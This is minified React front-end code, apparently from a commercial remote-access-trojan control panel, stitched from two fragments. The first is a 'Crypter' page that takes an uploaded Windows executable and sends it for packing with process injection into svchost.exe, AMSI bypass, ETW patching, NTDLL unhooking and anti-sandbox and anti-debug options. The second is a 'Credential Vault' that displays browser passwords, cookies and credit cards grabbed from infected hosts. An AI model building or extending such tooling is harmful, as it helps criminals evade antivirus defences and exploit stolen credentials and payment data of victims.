surrogate"},{path:"C:\\Windows\\explorer.exe",label:"explorer.exe",desc:"Windows shell"}],Pa=[{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Replace hooked ntdll .text with clean copy from \\KnownDlls\\",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M12.293 4.293a1 1 0 0 1 1.414 0l4 4a1 1 0 0 1 0 1.414l-4 4a1 1 0 0 1-1.414-1.414L14.586 10H3a1 1 0 1 1 0-2h11.586l-2.293-2.293a1 1 0 0 1 0-1.414Z",clipRule:"evenodd"})})},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession to return AMSI_RESULT_CLEAN",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})},{key:"etw_patch",label:"ETW Patch",desc:"Patch EtwEventWrite with xor eax,eax; ret",icon:a.jsxs("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:[a.jsx("path",{d:"M10 12.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z"}),a.jsx("path",{fillRule:"evenodd",d:"M.664 10.59a1.651 1.651 0 0 1 0-1.186A10.004 10.004 0 0 1 10 3c4.257 0 7.893 2.66 9.336 6.41.147.381.146.804 0 1.186A10.004 10.004 0 0 1 10 17c-4.257 0-7.893-2.66-9.336-6.41ZM14 10a4 4 0 1 1-8 0 4 4 0 0 1 8 0Z",clipRule:"evenodd"})]})},{key:"anti_sandbox",label:"Anti-Sandbox",desc:"Score-based VM/sandbox detection (3-tier weighted system)",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M8.485 2.495c.673-1.167 2.357-1.167 3.03 0l6.28 10.875c.673 1.167-.17 2.625-1.516 2.625H3.72c-1.347 0-2.189-1.458-1.515-2.625L8.485 2.495ZM10 5a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 10 5Zm0 9a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z",clipRule:"evenodd"})})},{key:"anti_debug",label:"Anti-Debug",desc:"NtQueryInformationProcess + ProcessDebugPort/ObjectHandle",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 18a8 8 0 1 0 0-16 8 8 0 0 0 0 16ZM6.75 9.25a.75.75 0 0 0 0 1.5h6.5a.75.75 0 0 0 0-1.5h-6.5Z",clipRule:"evenodd"})})}],Xb=`
|
|||
|
|
@keyframes crypterScanLine {
|
|||
|
|
0% { top: -2px; opacity: 0; }
|
|||
|
|
10% { opacity: 1; }
|
|||
|
|
90% { opacity: 1; }
|
|||
|
|
100% { top: calc(100% + 2px); opacity: 0; }
|
|||
|
|
}
|
|||
|
|
@keyframes crypterPulseRing {
|
|||
|
|
0%, 100% { box-shadow: 0 0 0 0 rgba(6, 182, 212, 0.15); }
|
|||
|
|
50% { box-shadow: 0 0 0 6px rgba(6, 182, 212, 0); }
|
|||
|
|
}
|
|||
|
|
@keyframes crypterTerminalBlink {
|
|||
|
|
0%, 100% { opacity: 1; }
|
|||
|
|
50% { opacity: 0; }
|
|||
|
|
}
|
|||
|
|
@keyframes crypterLayerIn {
|
|||
|
|
0% { opacity: 0; transform: translateX(-6px); }
|
|||
|
|
100% { opacity: 1; transform: translateX(0); }
|
|||
|
|
}
|
|||
|
|
@keyframes crypterProgressGlow {
|
|||
|
|
0%, 100% { box-shadow: 0 0 8px rgba(6, 182, 212, 0.3); }
|
|||
|
|
50% { box-shadow: 0 0 20px rgba(6, 182, 212, 0.6); }
|
|||
|
|
}
|
|||
|
|
@keyframes crypterHexScroll {
|
|||
|
|
0% { transform: translateY(0); }
|
|||
|
|
100% { transform: translateY(-50%); }
|
|||
|
|
}
|
|||
|
|
@keyframes crypterCheckIn {
|
|||
|
|
0% { transform: scale(0.5); opacity: 0; }
|
|||
|
|
50% { transform: scale(1.15); }
|
|||
|
|
100% { transform: scale(1); opacity: 1; }
|
|||
|
|
}
|
|||
|
|
.crypter-scan-line {
|
|||
|
|
position: absolute;
|
|||
|
|
left: 0;
|
|||
|
|
right: 0;
|
|||
|
|
height: 1px;
|
|||
|
|
background: linear-gradient(90deg, transparent, #06B6D4, transparent);
|
|||
|
|
animation: crypterScanLine 2.5s ease-in-out infinite;
|
|||
|
|
pointer-events: none;
|
|||
|
|
}
|
|||
|
|
.crypter-pulse-ring {
|
|||
|
|
animation: crypterPulseRing 2s ease-in-out infinite;
|
|||
|
|
}
|
|||
|
|
.crypter-terminal-cursor::after {
|
|||
|
|
content: '█';
|
|||
|
|
animation: crypterTerminalBlink 0.8s step-end infinite;
|
|||
|
|
color: #06B6D4;
|
|||
|
|
}
|
|||
|
|
.crypter-layer-enter {
|
|||
|
|
animation: crypterLayerIn 0.3s ease-out forwards;
|
|||
|
|
}
|
|||
|
|
.crypter-progress-glow {
|
|||
|
|
animation: crypterProgressGlow 1.5s ease-in-out infinite;
|
|||
|
|
}
|
|||
|
|
.crypter-check-in {
|
|||
|
|
animation: crypterCheckIn 0.35s cubic-bezier(0.34, 1.56, 0.64, 1) forwards;
|
|||
|
|
}
|
|||
|
|
`;function DV(e){const t=[];for(let n=0;n<e;n++){const r=(n*16).toString(16).toUpperCase().padStart(8,"0"),i=Array.from({length:16},()=>Math.floor(Math.random()*256).toString(16).toUpperCase().padStart(2,"0")).join(" ");t.push(`${r} ${i}`)}return t}function RV(){const{isAdmin:e}=ya(),n=kj()==="rat_crypter"||e,[r,i]=m.useState(null),[s,o]=m.useState("runpe"),[l,c]=m.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=m.useState(0),[f,p]=m.useState({anti_sandbox:!0,anti_debug:!0,unhook_ntdll:!0,amsi_bypass:!0,etw_patch:!0}),[h,x]=m.useState(!1),[g,y]=m.useState(0),[v,b]=m.useState(""),[w,j]=m.useState(!1),[N,k]=m.useState([]),[z,S]=m.useState(!1),O=m.useRef(null),A=m.useRef(null),[T]=m.useState(()=>DV(24)),P=Object.values(f).filter(Boolean).length,D=m.useCallback(_=>{p(M=>({...M,[_]:!M[_]}))},[]),G=m.useCallback(_=>{_.preventDefault(),j(!1);const M=_.dataTransfer.files[0];M&&(i(M),S(!1))},[]),R=m.useCallback(()=>{i(null),S(!1),k([]),y(0),O.current&&(O.current.value="")},[]);m.useEffect(()=>{if(!h)return;k([]);let _=0;const M=setInterval(()=>{if(_<qb.length){const F=qb[_];(g>=F.at||_===0)&&(k(U=>[...U,F.msg]),_++)}},800+Math.random()*600);return()=>clearInterval(M)},[h]),m.useEffect(()=>{A.current&&(A.current.scrollTop=A.current.scrollHeight)},[N]);const K=m.useCallback(async()=>{if(!(!r||h)){x(!0),b(""),y(5),S(!1);try{const _=new FormData;_.append("file",r),_.append("mode",s),_.append("target_process",l),_.append("sleep_seconds",u.toString()),_.append("anti_sandbox",f.anti_sandbox.toString()),_.append("anti_debug",f.anti_debug.toString()),_.append("unhook_ntdll",f.unhook_ntdll.toString()),_.append("amsi_bypass",f.amsi_bypass.toString()),_.append("etw_patch",f.etw_patch.toString()),y(20);const M=setInterval(()=>{y(Z=>{const ae=90-Z,ue=Math.max(1,ae*.08);return Math.min(Z+ue,90)})},1200),F=await p6(_);clearInterval(M),y(100),S(!0);const U=URL.createObjectURL(F),V=document.createElement("a");V.href=U,V.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(V),V.click(),document.body.removeChild(V),URL.revokeObjectURL(U)}catch(_){b(_.message||"Build failed"),y(0)}finally{x(!1)}}},[r,h,s,l,u,f]);return n?a.jsxs("div",{className:"h-full flex flex-col overflow-hidden",children:[a.jsx("style",{children:Xb}),a.jsxs("div",{className:"flex-none px-6 py-4 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-zerin-accent/10 border border-zerin-accent/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})}),a.jsxs("div",{children:[a.jsx("h1",{className:"font-display text-lg font-bold text-zerin-text leading-none",children:"Crypter"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-0.5 tracking-wide",children:"PE ENCRYPTION ENGINE"})]})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2 bg-zerin-bg border border-zerin-panel-border px-3 py-1.5",children:[a.jsx("div",{className:"flex gap-0.5",children:Pa.map(_=>a.jsx("div",{className:`w-1.5 h-3 transition-colors duration-300 ${f[_.key]?"bg-zerin-accent":"bg-zerin-panel-border"}`},_.key))}),a.jsxs("span",{className:"font-mono text-[11px] text-zerin-text-dim",children:[P,"/",Pa.length]})]}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted border border-zerin-panel-border px-2 py-1 tracking-wider",children:"XOR + AES-256-CBC"})]})]}),a.jsx("div",{className:"flex-1 overflow-y-auto custom-scrollbar",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 py-6 space-y-5",children:[a.jsxs("div",{className:`relative overflow-hidden transition-all duration-300 cursor-pointer group
|
|||
|
|
${r?"border border-zerin-accent/30 bg-zerin-accent/[0.03]":w?"border-2 border-dashed border-zerin-accent bg-zerin-accent/5":"border border-dashed border-zerin-panel-border-hover hover:border-zerin-text-muted/30"}`,onDragOver:_=>{_.preventDefault(),j(!0)},onDragLeave:()=>j(!1),onDrop:G,onClick:()=>{var _;return!r&&((_=O.current)==null?void 0:_.click())},children:[!r&&a.jsx("div",{className:"absolute inset-0 overflow-hidden pointer-events-none opacity-[0.04]",children:a.jsx("div",{className:"font-mono text-[9px] leading-[14px] text-zerin-text whitespace-pre select-none pt-1 pl-3",style:{animation:"crypterHexScroll 30s linear infinite"},children:T.concat(T).map((_,M)=>a.jsx("div",{children:_},M))})}),!r&&!w&&a.jsx("div",{className:"crypter-scan-line"}),a.jsx("input",{ref:O,type:"file",accept:".exe",className:"hidden",onChange:_=>{var F;const M=(F=_.target.files)==null?void 0:F[0];M&&(i(M),S(!1))}}),r?a.jsxs("div",{className:"relative px-5 py-4 flex items-center gap-4",children:[a.jsx("div",{className:"flex-none w-10 h-10 bg-zerin-accent/10 border border-zerin-accent/25 flex items-center justify-center crypter-pulse-ring",children:a.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M4.5 2A1.5 1.5 0 0 0 3 3.5v13A1.5 1.5 0 0 0 4.5 18h11a1.5 1.5 0 0 0 1.5-1.5V7.621a1.5 1.5 0 0 0-.44-1.06l-4.12-4.122A1.5 1.5 0 0 0 11.378 2H4.5Zm7.75 9.75a.75.75 0 0 0 0-1.5h-4.5a.75.75 0 0 0 0 1.5h4.5Z",clipRule:"evenodd"})})}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsx("div",{className:"font-mono text-sm text-zerin-text truncate",children:r.name}),a.jsxs("div",{className:"flex items-center gap-3 mt-0.5",children:[a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:r.size<1024*1024?`${(r.size/1024).toFixed(1)} KB`:`${(r.size/(1024*1024)).toFixed(2)} MB`}),a.jsx("span",{className:"text-zerin-panel-border",children:"·"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70",children:"PE32+ executable"})]})]}),a.jsx("button",{onClick:_=>{_.stopPropagation(),R()},className:"flex-none p-1.5 text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Remove file",children:a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M6.28 5.22a.75.75 0 0 0-1.06 1.06L8.94 10l-3.72 3.72a.75.75 0 1 0 1.06 1.06L10 11.06l3.72 3.72a.75.75 0 1 0 1.06-1.06L11.06 10l3.72-3.72a.75.75 0 0 0-1.06-1.06L10 8.94 6.28 5.22Z"})})})]}):a.jsxs("div",{className:"relative px-5 py-8 text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 border border-zerin-panel-border-hover flex items-center justify-center group-hover:border-zerin-text-muted/30 transition-colors",children:a.jsxs("svg",{className:"w-5 h-5 text-zerin-text-muted group-hover:text-zerin-text-dim transition-colors",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{d:"M9.25 13.25a.75.75 0 0 0 1.5 0V4.636l2.955 3.129a.75.75 0 0 0 1.09-1.03l-4.25-4.5a.75.75 0 0 0-1.09 0l-4.25 4.5a.75.75 0 1 0 1.09 1.03L9.25 4.636v8.614Z"}),a.jsx("path",{d:"M3.5 12.75a.75.75 0 0 0-1.5 0v2.5A2.75 2.75 0 0 0 4.75 18h10.5A2.75 2.75 0 0 0 18 15.25v-2.5a.75.75 0 0 0-1.5 0v2.5c0 .69-.56 1.25-1.25 1.25H4.75c-.69 0-1.25-.56-1.25-1.25v-2.5Z"})]})}),a.jsxs("p",{className:"font-mono text-sm text-zerin-text-dim",children:["Drop a ",a.jsx("span",{className:"text-zerin-accent",children:".exe"})," here or click to browse"]}),a.jsx("p",{className:"font-mono text-[11px] text-zerin-text-muted mt-1",children:"Max 50 MB · Windows PE executables only"})]})]}),a.jsxs("div",{className:"grid lg:grid-cols-5 gap-5",children:[a.jsxs("div",{className:"lg:col-span-3 space-y-5",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Injection
|
|||
|
|
placeholder:text-zerin-text-muted pl-8 pr-3 py-2 focus:outline-none focus:border-zerin-accent/40\r
|
|||
|
|
transition-colors`})]})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:j.length===0?a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsx("p",{className:"text-zerin-text-muted text-xs",children:w.length===0?"No credential grabs yet":"No matches"})}):a.jsx("div",{className:"py-1",children:j.map(L=>{const ie=y.has(L.agent_id),de=(o==null?void 0:o.agent.agent_id)===L.agent_id,lt=L.grabs[0];let Ct=null;try{Ct=JSON.parse(lt.output)}catch{}const Lt=Ct?Qb(Ct):0;return a.jsxs("div",{children:[a.jsxs("button",{onClick:()=>{L.grabs.length===1?N(L,0):(z(L.agent_id),!ie&&!de&&N(L,0))},className:`w-full text-left px-4 py-3 transition-colors border-b border-zerin-panel-border/50
|
|||
|
|
${de?"bg-zerin-accent-muted/60":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:"flex items-start justify-between gap-2",children:[a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("div",{className:"flex items-center gap-2 mb-0.5",children:a.jsx("span",{className:"text-sm font-semibold text-zerin-text truncate",children:L.hostname})}),a.jsxs("div",{className:"flex items-center gap-2 text-[11px]",children:[a.jsx("span",{className:"text-zerin-text-dim font-mono",children:L.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:L.os_version})]})]}),a.jsxs("div",{className:"flex flex-col items-end gap-1 flex-shrink-0",children:[a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsxs("span",{className:"text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 px-1.5 py-0.5",children:[L.grabs.length," grab",L.grabs.length!==1?"s":""]}),Lt>0&&a.jsx("span",{className:"text-[10px] font-mono text-amber-400 bg-amber-400/10 px-1.5 py-0.5",children:Lt})]}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted",children:$V(lt.received_at)})]})]}),L.grabs.length>1&&a.jsxs("div",{className:"flex items-center gap-1 mt-1.5",children:[a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted transition-transform ${ie?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsxs("span",{className:"text-[10px] text-zerin-text-muted",children:[L.grabs.length," historical grabs"]})]})]}),ie&&L.grabs.length>1&&a.jsx("div",{className:"bg-zerin-bg/50 border-b border-zerin-panel-border/50",children:L.grabs.map((gr,Qr)=>{const Li=(o==null?void 0:o.agent.agent_id)===L.agent_id&&(o==null?void 0:o.grabIdx)===Qr;return a.jsx("button",{onClick:()=>N(L,Qr),className:`w-full text-left px-6 py-2 text-xs transition-colors
|
|||
|
|
${Li?"bg-zerin-accent-muted/40 text-zerin-accent":"text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-text"}`,children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"font-mono",children:Zb(gr.received_at)}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted font-mono",children:gr.task_id.slice(0,8)})]})},gr.task_id)})})]},L.agent_id)})})})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:!o||!c?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-8 h-8 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Vault"}),a.jsx("p",{className:"text-zerin-text-muted text-xs max-w-xs",children:"Select a client from the left panel to view their grabbed credentials and session data."})]})}):a.jsxs("div",{className:"animate-fade-in",children:[a.jsx("div",{className:"sticky top-0 z-10 bg-zerin-panel/95 backdrop-blur-sm border-b border-zerin-panel-border px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-3 mb-1",children:[a.jsx("h2",{className:"text-base font-semibold text-zerin-text",children:o.agent.hostname}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:o.agent.agent_id.slice(0,8)})]}),a.jsxs("div",{className:"flex items-center gap-3 text-xs text-zerin-text-dim",children:[a.jsx("span",{className:"font-mono",children:o.agent.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:o.agent.os_version}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:Zb(o.agent.grabs[o.grabIdx].received_at)})]})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsxs("span",{className:"text-xs font-mono text-zerin-accent bg-zerin-accent/10 px-2 py-1",children:[Qb(c)," items"]}),a.jsxs("button",{onClick:O,className:`inline-flex items-center gap-1.5 text-xs font-medium\r
|
|||
|
|
text-zerin-text-dim hover:text-zerin-text\r
|
|||
|
|
bg-zerin-panel hover:bg-zerin-panel-hover\r
|
|||
|
|
border border-zerin-panel-border\r
|
|||
|
|
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export"]})]})]})}),a.jsxs("div",{className:"p-6 space-y-2",children:[a.jsx($n,{title:"Browser Passwords",count:(((A=c.chrome_passwords)==null?void 0:A.length)??0)+(((T=c.firefox_passwords)==null?void 0:T.length)??0),expanded:d.has("passwords"),onToggle:()=>k("passwords"),children:(()=>{const L=[...c.chrome_passwords??[],...c.firefox_passwords??[]];return L.length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:L.map((ie,de)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:ie.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:ie.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.username,lt),children:ie.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.password,lt),children:ie.password?"••••••••":""})]},de))})]})})()}),a.jsx($n,{title:"Browser Cookies",count:((P=c.chrome_cookies)==null?void 0:P.length)??0,expanded:d.has("cookies"),onToggle:()=>k("cookies"),children:(D=c.chrome_cookies)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cookies.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.value,de),children:[L.value.slice(0,40),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx($n,{title:"Credit Cards",count:((G=c.chrome_cards)==null?void 0:G.length)??0,expanded:d.has("cards"),onToggle:()=>k("cards"),children:(R=c.chrome_cards)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a
|